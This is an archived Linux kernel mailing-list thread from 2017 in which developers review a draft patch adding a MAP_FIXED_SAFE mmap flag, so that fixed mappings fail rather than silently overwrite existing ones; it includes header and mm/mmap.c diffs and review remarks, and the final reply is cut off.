 <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
 <87lgjawgx1.fsf@concordia.ellerman.id.au>
 <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
 <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510588185 6481 195.159.176.226 (13 Nov 2017 15:49:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 15:49:45 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Nov 13 16:49:39 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eEGzR-0000e5-2f
	for lnx-sparclinux@m.gmane.org; Mon, 13 Nov 2017 16:49:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753148AbdKMPto (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Mon, 13 Nov 2017 10:49:44 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:33440 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753062AbdKMPtm (ORCPT <rfc822;sparclinux@vger.kernel.org>);
        Mon, 13 Nov 2017 10:49:42 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id ECDA2AAC1;
        Mon, 13 Nov 2017 15:49:40 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:26862 gmane.linux.kernel.next:44263 gmane.linux.kernel:2615826 gmane.linux.ports.arm.kernel:613921 gmane.linux.ports.ppc64.devel:150205 gmane.linux.ports.mips.general:62107 gmane.linux.ports.parisc:27978 gmane.linux.ports.sh.devel:55874
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/26862>

On Mon 13-11-17 16:16:41, Michal Hocko wrote:
> On Mon 13-11-17 13:00:57, Michal Hocko wrote:
> [...]
> > Yes, I have mentioned that in the previous email but the amount of code
> > would be even larger. Basically every arch which reimplements
> > arch_get_unmapped_area would have to special case new MAP_FIXED flag to
> > do vma lookup.
> 
> It turned out that this might be much more easier than I thought after
> all. It seems we can really handle that in the common code. This would
> mean that we are exposing a new functionality to the userspace though.
> Myabe this would be useful on its own though. Just a quick draft (not
> even compile tested) whether this makes sense in general. I would be
> worried about unexpected behavior when somebody set other bit without a
> good reason and we might fail with ENOMEM for such a call now.

Hmm, the bigger problem would be the backward compatibility actually. We
would get silent corruptions which is exactly what the flag is trying
fix. mmap flags handling really sucks. So I guess we would have to make
the flag internal only :/

-- 
Michal Hocko
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Mon, 13 Nov 2017 16:59:14 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20171113155914.5uwmycui4qdwsbw3@dhcp22.suse.cz>
References: <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com>
 <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz>
 <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
 <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
 <87lgjawgx1.fsf@concordia.ellerman.id.au>
 <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
 <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
 <20171113154811.GM12318@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510588760 22389 195.159.176.226 (13 Nov 2017 15:59:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 15:59:20 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Michael Ellerman <mpe@ellerman.id.au>,
        Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Russell King - ARM Linux <linux@armlinux.org.uk>
Original-X-From: linux-next-owner@vger.kernel.org Mon Nov 13 16:59:13 2017
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1eEH8h-0001bL-69
	for glkn-linux-next@m.gmane.org; Mon, 13 Nov 2017 16:59:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753440AbdKMP7R (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
        Mon, 13 Nov 2017 10:59:17 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:34002 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753439AbdKMP7Q (ORCPT <rfc822;linux-next@vger.kernel.org>);
        Mon, 13 Nov 2017 10:59:16 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 87849AAC3;
        Mon, 13 Nov 2017 15:59:14 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20171113154811.GM12318@n2100.armlinux.org.uk>
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:44264 gmane.linux.kernel:2615831 gmane.linux.ports.arm.kernel:613923 gmane.linux.ports.ppc64.devel:150206 gmane.linux.ports.mips.general:62108 gmane.linux.ports.parisc:27979 gmane.linux.ports.sh.devel:55876 gmane.linux.ports.sparc:26863
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/44264>

On Mon 13-11-17 15:48:13, Russell King - ARM Linux wrote:
> On Mon, Nov 13, 2017 at 04:16:41PM +0100, Michal Hocko wrote:
> > On Mon 13-11-17 13:00:57, Michal Hocko wrote:
> > [...]
> > > Yes, I have mentioned that in the previous email but the amount of code
> > > would be even larger. Basically every arch which reimplements
> > > arch_get_unmapped_area would have to special case new MAP_FIXED flag to
> > > do vma lookup.
> > 
> > It turned out that this might be much more easier than I thought after
> > all. It seems we can really handle that in the common code. This would
> > mean that we are exposing a new functionality to the userspace though.
> > Myabe this would be useful on its own though. Just a quick draft (not
> > even compile tested) whether this makes sense in general. I would be
> > worried about unexpected behavior when somebody set other bit without a
> > good reason and we might fail with ENOMEM for such a call now.
> > 
> > Elf loader would then use MAP_FIXED_SAFE rather than MAP_FIXED.
> > ---
> > diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
> > index 3b26cc62dadb..d021c21f9b01 100644
> > --- a/arch/alpha/include/uapi/asm/mman.h
> > +++ b/arch/alpha/include/uapi/asm/mman.h
> > @@ -31,6 +31,9 @@
> >  #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
> >  #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
> >  
> > +#define MAP_KEEP_MAPPING 0x2000000
> > +#define MAP_FIXED_SAFE	MAP_FIXED|MAP_KEEP_MAPPING /* enforce MAP_FIXED without clobbering an existing mapping */
> 
> A few things...
> 
> 1. Does this need to be exposed to userland?

As I've written in another email, exposing the flag this way would be
really dangerous wrt. backward compatibility. So we would either need some
translation or make it a flag on its own and touch the arch specific
code which I really wanted to prevent from.

Whether this is something useful for the userspace is a separate
question which I should bring up to linux-api for a wider audience to
discuss.

So I guess this goes down to whether we want/need something like
MAP_FIXED_SAFE or opt out the specific hardening code for arches that
cannot make unaligned mappings for the requested address.

> 2. Can it end up in include/uapi/asm-generic/mman*.h ?
> 3. The definition of MAP_FIXED_SAFE should really have parens around it.

Of course. I thought I did...

> > @@ -1365,6 +1365,13 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
> >  	if (offset_in_page(addr))
> >  		return addr;
> >  
> > +	if ((flags & MAP_FIXED_SAFE) == MAP_FIXED_SAFE) {
> 
> I'm surprised this doesn't warn - since this effectively expands to:
> 
> 	flags & MAP_FIXED | MAP_KEEP_MAPPING
> 
> hence why MAP_FIXED_SAFE needs parens.

It sure does.

Thanks!
-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Mon, 13 Nov 2017 17:06:37 +0100
Lines: 149
Approved: news@gmane.org
Message-ID: <20171113160637.jhekbdyfpccme3be@dhcp22.suse.cz>
References: <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com>
 <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz>
 <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
 <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
 <87lgjawgx1.fsf@concordia.ellerman.id.au>
 <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
 <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
 <20171113154939.6ui2fmpokpm7g4oj@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510589203 9363 195.159.176.226 (13 Nov 2017 16:06:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 16:06:43 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 13 17:06:36 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eEHFq-0005TU-6R
	for glpp-linux-parisc@m.gmane.org; Mon, 13 Nov 2017 17:06:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753158AbdKMQGl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 13 Nov 2017 11:06:41 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:34342 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753397AbdKMQGk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 13 Nov 2017 11:06:40 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 38B1BAAC1;
        Mon, 13 Nov 2017 16:06:38 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20171113154939.6ui2fmpokpm7g4oj@dhcp22.suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27980 gmane.linux.kernel.next:44265 gmane.linux.kernel:2615835 gmane.linux.ports.arm.kernel:613924 gmane.linux.ports.ppc64.devel:150207 gmane.linux.ports.mips.general:62109 gmane.linux.ports.sh.devel:55877 gmane.linux.ports.sparc:26864
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27980>

[Sorry for spamming, this one is the last attempt hopefully]

On Mon 13-11-17 16:49:39, Michal Hocko wrote:
> On Mon 13-11-17 16:16:41, Michal Hocko wrote:
> > On Mon 13-11-17 13:00:57, Michal Hocko wrote:
> > [...]
> > > Yes, I have mentioned that in the previous email but the amount of code
> > > would be even larger. Basically every arch which reimplements
> > > arch_get_unmapped_area would have to special case new MAP_FIXED flag to
> > > do vma lookup.
> > 
> > It turned out that this might be much more easier than I thought after
> > all. It seems we can really handle that in the common code. This would
> > mean that we are exposing a new functionality to the userspace though.
> > Myabe this would be useful on its own though. Just a quick draft (not
> > even compile tested) whether this makes sense in general. I would be
> > worried about unexpected behavior when somebody set other bit without a
> > good reason and we might fail with ENOMEM for such a call now.
> 
> Hmm, the bigger problem would be the backward compatibility actually. We
> would get silent corruptions which is exactly what the flag is trying
> fix. mmap flags handling really sucks. So I guess we would have to make
> the flag internal only :/

OK, so this one should take care of the backward compatibility while
still not touching the arch code
---
commit 39ff9bf8597e79a032da0954aea1f0d77d137765
Author: Michal Hocko <mhocko@suse.com>
Date:   Mon Nov 13 17:06:24 2017 +0100

    mm: introduce MAP_FIXED_SAFE
    
    MAP_FIXED is used quite often but it is inherently dangerous because it
    unmaps an existing mapping covered by the requested range. While this
    might be might be really desidered behavior in many cases there are
    others which would rather see a failure than a silent memory corruption.
    Introduce a new MAP_FIXED_SAFE flag for mmap to achive this behavior.
    It is a MAP_FIXED extension with a single exception that it fails with
    ENOMEM if the requested address is already covered by an existing
    mapping. We still do rely on get_unmaped_area to handle all the arch
    specific MAP_FIXED treatment and check for a conflicting vma after it
    returns.
    
    Signed-off-by: Michal Hocko <mhocko@suse.com>

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 3b26cc62dadb..767bcb8a4c28 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -31,6 +31,8 @@
 #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
 
+#define MAP_FIXED_SAFE 0x2000000	/* MAP_FIXED which doesn't unmap underlying mapping */
+
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_SYNC		2		/* synchronous memory sync */
 #define MS_INVALIDATE	4		/* invalidate the caches */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index da3216007fe0..c2311eb7219b 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -49,6 +49,8 @@
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
 
+#define MAP_FIXED_SAFE 0x2000000	/* MAP_FIXED which doesn't unmap underlying mapping */
+
 /*
  * Flags for msync
  */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index cc9ba1d34779..b06fd830bc6f 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -25,6 +25,8 @@
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
 
+#define MAP_FIXED_SAFE 0x2000000	/* MAP_FIXED which doesn't unmap underlying mapping */
+
 #define MS_SYNC		1		/* synchronous memory sync */
 #define MS_ASYNC	2		/* sync memory asynchronously */
 #define MS_INVALIDATE	4		/* invalidate the caches */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index b15b278aa314..f4b291bca764 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -62,6 +62,8 @@
 # define MAP_UNINITIALIZED 0x0		/* Don't support this flag */
 #endif
 
+#define MAP_FIXED_SAFE 0x2000000	/* MAP_FIXED which doesn't unmap underlying mapping */
+
 /*
  * Flags for msync
  */
diff --git a/include/uapi/asm-generic/mman-common.h b/include/uapi/asm-generic/mman-common.h
index 203268f9231e..03c518777f83 100644
--- a/include/uapi/asm-generic/mman-common.h
+++ b/include/uapi/asm-generic/mman-common.h
@@ -25,6 +25,8 @@
 # define MAP_UNINITIALIZED 0x0		/* Don't support this flag */
 #endif
 
+#define MAP_FIXED_SAFE 0x2000000	/* MAP_FIXED which doesn't unmap underlying mapping */
+
 /*
  * Flags for mlock
  */
diff --git a/mm/mmap.c b/mm/mmap.c
index 680506faceae..aad8d37f0205 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1358,6 +1358,10 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 	if (mm->map_count > sysctl_max_map_count)
 		return -ENOMEM;
 
+	/* force arch specific MAP_FIXED handling in get_unmapped_area */
+	if (flags & MAP_FIXED_SAFE)
+		flags |= MAP_FIXED;
+
 	/* Obtain the address to map to. we verify (or select) it and ensure
 	 * that it represents a valid section of the address space.
 	 */
@@ -1365,6 +1369,13 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 	if (offset_in_page(addr))
 		return addr;
 
+	if (flags & MAP_FIXED_SAFE) {
+		struct vm_area_struct *vma = find_vma(mm, addr);
+
+		if (vma && vma->vm_start <= addr)
+			return -ENOMEM;
+	}
+
 	if (prot == PROT_EXEC) {
 		pkey = execute_only_pkey(mm);
 		if (pkey < 0)

-- 
Michal Hocko
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Khalid Aziz <khalid.aziz@oracle.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Mon, 13 Nov 2017 09:35:22 -0700
Organization: Oracle Corp
Lines: 57
Approved: news@gmane.org
Message-ID: <c52fa249-9583-18a2-cbac-28abfb23d5a5@oracle.com>
References: <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com>
 <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz>
 <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
 <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
 <87lgjawgx1.fsf@concordia.ellerman.id.au>
 <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
 <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
 <20171113154939.6ui2fmpokpm7g4oj@dhcp22.suse.cz>
 <20171113160637.jhekbdyfpccme3be@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1510591017 6918 195.159.176.226 (13 Nov 2017 16:36:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 16:36:57 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Michal Hocko <mhocko@kernel.org>,
        Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Nov 13 17:36:50 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048035.atla03.us.yomura.com ([107.189.48.35])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1eEHj5-0001JO-Dd
	for sgi-linux-mips@gmane.org; Mon, 13 Nov 2017 17:36:47 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048035.atla03.us.yomura.com (Halon) with ESMTP
	id d9f22b74-c890-11e7-8154-b499baabecb2;
	Mon, 13 Nov 2017 16:36:51 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:42762 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23990427AbdKMQgsC7pLX (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 13 Nov 2017 17:36:48 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 13 Nov 2017 17:36:32 +0100 (CET)
Original-Received: from userp1040.oracle.com ([156.151.31.81]:26822 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S23990425AbdKMQgY5liRX (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 13 Nov 2017 17:36:24 +0100
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id vADGZV2P002497
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 13 Nov 2017 16:35:32 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id vADGZUuJ005545
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 13 Nov 2017 16:35:30 GMT
Original-Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10])
        by aserv0121.oracle.com (8.14.4/8.13.8) with ESMTP id vADGZNVc017675;
        Mon, 13 Nov 2017 16:35:25 GMT
Original-Received: from [192.168.1.16] (/24.9.64.241)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 13 Nov 2017 08:35:23 -0800
In-Reply-To: <20171113160637.jhekbdyfpccme3be@dhcp22.suse.cz>
Content-Language: en-US
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
X-archive-position: 60882
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: khalid.aziz@oracle.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:62112 gmane.linux.kernel.next:44266 gmane.linux.kernel:2615863 gmane.linux.ports.arm.kernel:613928 gmane.linux.ports.ppc64.devel:150208 gmane.linux.ports.parisc:27981 gmane.linux.ports.sh.devel:55878 gmane.linux.ports.sparc:26865
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/62112>

On 11/13/2017 09:06 AM, Michal Hocko wrote:
> OK, so this one should take care of the backward compatibility while
> still not touching the arch code
> ---
> commit 39ff9bf8597e79a032da0954aea1f0d77d137765
> Author: Michal Hocko <mhocko@suse.com>
> Date:   Mon Nov 13 17:06:24 2017 +0100
> 
>      mm: introduce MAP_FIXED_SAFE
>      
>      MAP_FIXED is used quite often but it is inherently dangerous because it
>      unmaps an existing mapping covered by the requested range. While this
>      might be might be really desidered behavior in many cases there are
>      others which would rather see a failure than a silent memory corruption.
>      Introduce a new MAP_FIXED_SAFE flag for mmap to achive this behavior.
>      It is a MAP_FIXED extension with a single exception that it fails with
>      ENOMEM if the requested address is already covered by an existing
